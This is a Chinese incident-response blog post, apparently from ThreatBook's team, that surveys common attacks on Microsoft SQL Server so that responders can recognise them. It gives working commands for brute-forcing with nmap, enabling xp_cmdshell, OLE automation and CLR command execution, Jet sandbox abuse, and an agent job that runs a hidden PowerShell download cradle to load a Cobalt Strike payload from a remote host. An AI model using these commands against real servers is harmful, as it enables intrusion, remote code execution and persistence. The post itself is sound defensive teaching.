知攻善防~SQL Server 应急分析(上)

admin 2023年2月16日10:51:31评论117 views字数 8277阅读27分35秒阅读模式
点击蓝字
知攻善防~SQL Server 应急分析(上)
关注我们

大家好,我是本期作者神龙大侠。

近期有很多小伙伴反馈在遇到 SQL Server 应急时不知道如何下手。伴随着僵尸网络、勒索团伙及黑产的日益猖獗,SQL Server 也是微步应急团队在应急 case 中频繁出现的场景之一。为此,我专门对 SQL Server 攻击&应急技术进行了汇总整理。

本期文章分为上下两篇,本篇先向大家介绍下针对SQL Server的常见利用手法,下一篇会着重介绍下应急SQL Server时的种种小技巧,希望能对小伙伴们遇到 SQL Server 应急时带来帮助~

01 SQL Server
MSSQL 数据库是微软的产品之一,全称 Microsoft SQL Server,所以又叫 SQL Server。不会有同学一直以为这是两个东西吧 [手动狗头]
作为巨头微软的亲儿子,SQL Server 在数据库领域里也自然是占了半壁江山,尤其在 .Net 阵营的技术栈中基本都离不开它。根据微步在线近半年空间测绘数据,仅开放在公网的 SQL Server 数据库就超过300多万,中国更是位居榜首~可见其影响范围之广!
知攻善防~SQL Server 应急分析(上)
在这个 0 和 1 的世界中,拥有庞大的用户群体,也意味着会被众多的黑客群体们盯上,而且作为存储数据的重要设施,SQL Server 更是 APT、挖矿、勒索、黑产选手眼中的香饽饽~
根据微步在线安全云相关数据,我对近半年的攻击遥测数据进行了简单统计,可以看到,每天都有来自互联网的上千个 IP 发起数十万起针对 SQL Server 的攻击,Q4 的攻击量更是异军突起,看来黑产们也到了年底冲业绩的关键时刻,足以证明这个江湖的腥风血雨!
知攻善防~SQL Server 应急分析(上)
02 来点 SQL Server 基础
SQL Server 一般是部署在 Windows Server 系统上。当然也有二般情况,在部署大数据集群时也会采用 Linux 系统,本文只讨论 Windows Server 系统下的 SQL Server!
1、权限
(1)SQL Server 支持两种身份认证机制:
  • Windwos 身份验证:作为微软旗下的大将,自然而然集成了 Windows 体系的账户认证,可以将系统账户注册为 SQL Server 账户;
  • SQL Server 身份验证:SQL Server 应用自身的账户体系,具备多种用户角色。
    • sysadmin:超级管理员,拥有 SQL Server 的所有权限,也是攻击利用的重点;
    • securityadmin:安全管理员,管理和审核数据库的创建、登录等操作;
    • setupadmin:安装管理员,管理服务器、数据库以及存储过程等;
    • serveradmin:服务器管理员,能够对 SQL Server 服务器进行配置管理;
    • diskadmin:磁盘管理员,管理磁盘文件;
    • proccessadmin:进程管理员,管理SQL Server 的系统进程;
    • dbcreator:数据库创建者,可以进行数据库创建和修改等操作。

(2)sa 账户

这里我们重点了解下 sa 账户即可。SQL Server 最重要的账户角色就是超级管理员角色“sysadmin”,其默认账户就是sa(“sysadmin”的简写),是攻击者入侵 SQL Server 需要获取的目标账户,也是我们重点防护和分析的账户

知攻善防~SQL Server 应急分析(上)
判断当前用户是否属于管理员角色可以使用如下查询:
select IS_SRVROLEMEMBER('sysadmin')

2、存储过程

“存储过程”这名字听着高大上,实质上就是一个“SQL 语句集合”。


我们可以简单理解他就是在数据库下使用的一个脚本,它的语言就是 T-SQL。这些 T-SQL 编写的脚本被预编译后放在数据库服务器端,就是我们看到的存储过程,用户可以像调用函数一样调用需要的存储过程并传递参数来执行实现预期的功能。


一般我们说的存储过程可以分为以下三类,细分的话其实还有本地、临时、远程存储过程~~


(1)系统存储过程:SQL Server 本身为了实现系统的各项设定,内置了大量的存储过程,命名以“sp_”开头,在任意数据库中都可以调用,调用时不需要加数据库名;


(2)扩展存储过程:使用外部程序语言编写的存储过程,通常是以动态链接库(DLL)实现,用于客户端与服务器端或客户端之间进行通信的,命名以“xp_”开头,使用方法与系统存储过程类似;


(3)用户自定义存储过程:用户可以根据需要创建一个完成某一特定功能的存储过程。

知攻善防~SQL Server 应急分析(上)先简单了解一下经常被用来从事恶意行为的存储过程,作为应急人员,会不会用不要紧,最重要的是混个脸熟,日后好相见~

知攻善防~SQL Server 应急分析(上)

3、程序集

在SQL Server中,你可以使用T-SQL 语言创建自定义存储过程,从SQL Server 2005(9.x)开始,SQL Server 集成了用于Microsoft Windows的.NET Framework 的公共语言运行时(CLR)组件,这意味着可以使用任何.NET Framework语言来实现存储过程、触发器、用户定义类型、用户定义函数等。

也就是说用用户只需要将需要实现的功能封装到.NET 动态链接库(DLL),然后注册部署到程序集,就可以实现如存储过程、触发器、用户定义函数等高级功能。

SQL Server 中创建程序集可以使用 CREATE ASSEMBLY语句。

知攻善防~SQL Server 应急分析(上)

注意:创建程序集时需可以指定其安全级别:SAFEEXTERNAL_ACCESSUNSAFE

(1)SAFE:安全。默认权限集,适用于大多数方案;
(2)EXTERNAL_ACCESS:外部访问。代码需要访问服务器外部资源(例如文件、网络、注册表和环境变量)
(3)UNSAFE:无限制。适用于程序集无法验证安全性或需要额外访问受限资源(如 Microsoft Win32 API)
但是呢,在微软官方的解释中,如果要使用 EXTERNAL_ACCESSUNSAFE 权限集,必须满足以下两个条件之一:
(1)程序集经过了强名称签名或使用证书进行了 Authenticode 签名。
(2)数据库所有者 (DBO) 具有 EXTERNAL ACCESS 程序集的 EXTERNAL ACCESS ASSEMBLY () 或 UNSAFE ASSEMBLY (for UNSAFE 程序集) 权限,并且数据库的 TRUSTWORTHY 数据库属性设置为 ON。
TRUSTWORTHY 数据库属性用于指明 SQL Server 实例是否信任该数据库以及其中的内容。默认值为 OFF,因此攻击者在利用时一般可以使用 ALTER DATABASE 语句将其设置为 ON。
知攻善防~SQL Server 应急分析(上)
03 攻击 SQLServer 的一百种手段
“未知攻,焉知防”,因此在学习 SQL Server 应急分析之前,我们有必要去了解一下针对 SQLServer 的一些利用手法,网上关于 MSSQL 利用技术的文章其实有很多,我在这里就厚着脸皮再捋一捋~
要通过 SQL Server 做恶,首先你得有执行 SQL 语句的权限,目前为止,针对 SQL Server 的攻击,打点阶段主要就两种方式:MSSQL 注入和数据库账户爆破,当然,由于 MSSQL 使用明文的 TDS 协议,如果没有做加密从流量中截获认证信息也不是没可能!
如果 Web 系统存在 MSSQL 注入漏洞,就可以直接构造 SQL 语句进行提权和执行恶意代码,但注入对于 MSSQL 的自动化入侵要求较高,目前绝大多数恶意软件主要还是依赖口令爆破来进行自动化传播。因此,面向互联网开放1433 + 弱口令算是 MSSQL 最大的风险来源。
知攻善防~SQL Server 应急分析(上)
1、高端的黑客往往使用最朴素的攻击手段 — 爆破
这个自然就不用多说了,工具也有很多,我们最常用的超级弱口令检查工具、hydra 和 Nmap 等工具都可以完成这项工作:
# Nmap 爆破 SQL Server
nmap -p 1433 --script=ms-sql-brute --script-args=userdb=./user.txt passdb=./password.txt 192.168.0.105 -vv
在内网中,也可以使用 fscan 进行快速识别。
知攻善防~SQL Server 应急分析(上)

2、SQL 注入 + webshell 一把梭

如果你有幸发现了一个存在 MSSQL 注入漏洞的站点,且具备管理员权限,以及知道了网站目录的绝对路径,就可以利用注入点来构造 SQL 语句来实现 webshell 写入。

知攻善防~SQL Server 应急分析(上)

3、攻城利器 — xp_cmdshell

提起MSSQL,别的你可以不了解,但xp_cmdshell必须要知道,它是SQLServer 渗透工作中最实用的扩展存储过程,可以用来执行系统命令。

xp_cmdshell在MSSQL 2000中默认是开启的,在MSSQL 2005之后的版本中则默认禁止。如果你获得的用户权限具备管理员角色,就可以通过“sp_configure”来启用它。(代码如下)
# 判断是否存在xp_cmdshell`扩展存储过程(返回结果不是 0 就说明存在)
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
# 启用 xp_cmdshell
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
# 使用 xp_cmdshell 执行任意命令
exec master..xp_cmdshell 'ipconfig';
# 关闭 xp_cmdshell
exec sp_configure 'show advanced options',1;
RECONFIGURE;
exec sp_configure 'xp_cmdshell',0;
RECONFIGURE;
知攻善防~SQL Server 应急分析(上)
甚至有的管理员安全意识比较高,会直接删除 xp_cmdshell 存储过程,但由于 xp_cmdshell 的实现是有“xplog70.dll”库来实现的,我们依然可以通过它来恢复 xp_cmdshell,当然,如果管理员绝一点,直接删除了“xplog70.dll”,那就没办法了!
知攻善防~SQL Server 应急分析(上)

4、“作业”让你更持久 — job

MSSQL Server代理是一个Windows服务,它可以被用来执行自动化任务。管理员可以设置定时代理作业,然后在MSSQL Server代理服务中执行这些定时作业,我们可以理解它就是 SQL Server 下的计划任务。

前提条件

(1)目标服务器必须开启了MSSQL Server代理服务;

(2)服务器中当前运行的用户账号必须拥有足够的权限去创建并执行代理作业。

代码如下:

# 创建一个名为“test_job_cobaltstrike”的作业来执行CS木马上线
USE msdb; 
EXEC dbo.sp_add_job @job_name = N'test_job_cobaltstrike'; 
EXEC sp_add_jobstep @job_name = N'test_job_cobaltstrike', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.1/a''))"', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_job_cobaltstrike'; 
# 启动作业
EXEC dbo.sp_start_job N'test_job_cobaltstrike';
知攻善防~SQL Server 应急分析(上)

5、COM 组件利用(OLE 对象接口)

利用OLE对象接口,SQL Server提供了一些函数访问OLE 对象,分别是 sp_oacreate和sp_oamethod,sp_oacreate可以删除、复制、移动文件,sp_oamethod可以进行读写文件。这两个存储过程的本意是用来创建和执行脚本语言,一般在xp_cmdshell无法使用时可以采用该方法。

关于 OLE 对象接口的解释我们可以看看 AI 的解释,知道是什么就可~

知攻善防~SQL Server 应急分析(上)

相比xp_cmdshell,OLE的缺点就是执行命令不能直接回显,但是我们可以通过sp_oacreate和sp_oamethod将执行结果重定向到一个文件中,然后读取该文件来间接获取一个交互shell。代码如下:

# 检查OLE Automation Procedures状态(如果config_value和run_value都为0表示禁用)

exec sp_configure 'Ole Automation Procedures';

# 启用OLE Automation Procedures组件

exec sp_configure 'show advanced options',1;

reconfigure;

exec sp_configure 'Ole Automation Procedures',1;

reconfigure;

# 写文件

DECLARE @OLE INT;

DECLARE @FileID INT;

EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;

EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:shell.jsp', 8, 1;

EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, 'test';

EXECUTE sp_OADestroy @FileID;

EXECUTE sp_OADestroy @OLE;

# 执行命令,将命令执行结果写入一个文本文件,然后读取该文件

declare @shell int;

exec sp_oacreate 'wscript.shell',@shell output;

exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\test.txt'

DECLARE @ObjectToken INT;

EXEC sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}', @ObjectToken OUTPUT;

EXEC sp_OASetProperty @ObjectToken, 'Type', 1;

EXEC sp_OAMethod @ObjectToken, 'Open';

EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 'whoami';

EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'C:test1.txt', 2;

EXEC sp_OAMethod @ObjectToken, 'Close';

EXEC sp_OADestroy @ObjectToken;

# 关闭 OLE Automation Procedures

sp_configure 'show advanced options', 1;

RECONFIGURE;

sp_configure 'Ole Automation Procedures', 0;

RECONFIGURE;

知攻善防~SQL Server 应急分析(上)

6、通过 CLR 自定义存储过程

CLR微软官方把他称为公共语言运行时,从SQL Server2005(9.x) 开始,SQL Server集成了用于Microsoft Windows的.NET Framework的公共语言运行时 (CLR) 组件。这意味着现在可以使用任何.NET Framework语言来编写存储过程、触发器、用户定义类型、用户定义函数等。

作为攻击者,可以通过.Net编写恶意的dll并注册到程序集中来实现自定义存储过程,其实现的过程也不复杂:VS Code编写程序,SQL Server中添加程序集,SQL Server中添加存储、函数调用程序集。

利用过程:

# 开启 CLR 功能
sp_configure 'clr enabled', 1;
GO;
RECONFIGURE;
GO;
# 要导入一个不安全的程序集,就必须设置数据库的“受信任”属性
ALTER DATABASE master SET TRUSTWORTHY ON;
# 创建程序集
CREATE ASSEMBLY [testcode]
    AUTHORIZATION [dbo]
    FROM [16进制的dll程序]
    WITH PERMISSION_SET = UNSAFE;
GO
# 创建存储过程执行程序集
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [testcode].[StoredProcedures].[ExecCommand]
go
# 利用自定义的存储过程执行系统命令
exec dbo.ExecCommand "whoami";
如下,紫狐木马在传播过程中就利用了该方式,fscbd 就是其创建的一个程序集,安全级别为“UNSAFE”,紧接着就会创建“ExecCommand ”存储过程实现执行命令功能。
知攻善防~SQL Server 应急分析(上)
知攻善防~SQL Server 应急分析(上)
我们试着用它来执行个“ifconfig”命令康康,与xp_cmdshell一样可以直接执行系统命令!!!
知攻善防~SQL Server 应急分析(上)

7、沙盒利用

沙盒模式SandBoxMode是一种安全功能。在沙盒模式下,Access只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。

例如,诸如Kill和Shell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。

适用范围:Windows xp & Windows 2003
# 开启沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
# 利用jet.oledb执行命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasdnary.mdb','select shell("whoami")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:WindowsSystem32iasias.mdb ','select shell("whoami")')
# 如果 dnary.mdb 或 ias.mdb 被删除时,命令就无法执行了。可以创建一个数据库(SysSetup.xml,后缀.xml是自定义,不影响使用),然后再利用jet.oledb调用SysSetup.xml执行系统命令
declare @hr int
declare @object int;declare @property int
exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT
exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'
select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("whoami")')
04 小结
此篇先向大家简单介绍针对 SQL Server 常见的集中利用手法,做为一名应急响应小能手,会不会用不重要,重要的是见了一定要能认识,只有了解了黑客的攻击手段,我们才能从各种蛛丝马迹中还原他的作案手法,关于 SQLServer 的应急排查,敬请关注下篇~
- END -

微步在线应急响应团队为企业客户提供应急响应服务。当企业遭遇突发重大安全事件(APT攻击、勒索加密、数据窃取、漏洞攻击、主机被控等),微步在线可提供快速事件定位取证、隔离清除、溯源分析、安全加固等专业安全服务,帮助企业信息系统在最短时间内恢复正常工作,将事件影响降到最低。


如果发生安全事件,可联系微步在线应急响应团队,联系方式:400-030-1051


知攻善防~SQL Server 应急分析(上)
转发,点赞,在看,安排一下?
1. 内容转载,请微信后台留言:转载+转载平台

2. 内容引用,请注明出处:以上内容引自公众号“微步在线应急响应团队”

原文始发于微信公众号(微步在线应急响应团队):知攻善防~SQL Server 应急分析(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月16日10:51:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   知攻善防~SQL Server 应急分析(上)https://cn-sec.com/archives/1555088.html

发表评论

匿名网友 填写信息